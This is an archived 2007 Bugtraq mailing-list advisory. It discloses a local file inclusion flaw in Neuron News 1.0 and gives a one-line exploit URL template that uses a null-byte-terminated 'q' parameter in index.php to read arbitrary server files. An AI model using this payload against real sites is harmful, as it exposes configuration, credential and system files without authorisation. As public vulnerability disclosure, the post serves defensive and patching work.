Neuron News 1.0 Local file inclusion (index.php)

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Neuron News 1.0 Local file inclusion (index.php)
From: h3llcode@xxxxxxxxxx
Date: 21 Sep 2007 12:41:24 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

+++++++++++++++++++++++++++++++++++++++++++

Neuron News 1.0 Local File inclusion

+++++++++++++++++++++++++++++++++++++++++++

# Founded By Seph1roth
# http://blackroots.it

#Vulnerable Script Download:      
http://downloads.localhost.be/scripts/neuronnews.zip

# Bug :

http://[TARGET]/[PATH]/index.php?q=[Local File]%00

#Risk: The attacker can include sensible local file.

Prev by Date: [Mlabs] Dissecting Internals of Windows XP Svchost : Reverse Engineering Stature
Next by Date: TSLSA-2007-0028 - multi
Previous by thread: Re: [Mlabs] Dissecting Internals of Windows XP Svchost : Reverse Engineering Stature
Next by thread: TSLSA-2007-0028 - multi
Index(es):
- Date
- Thread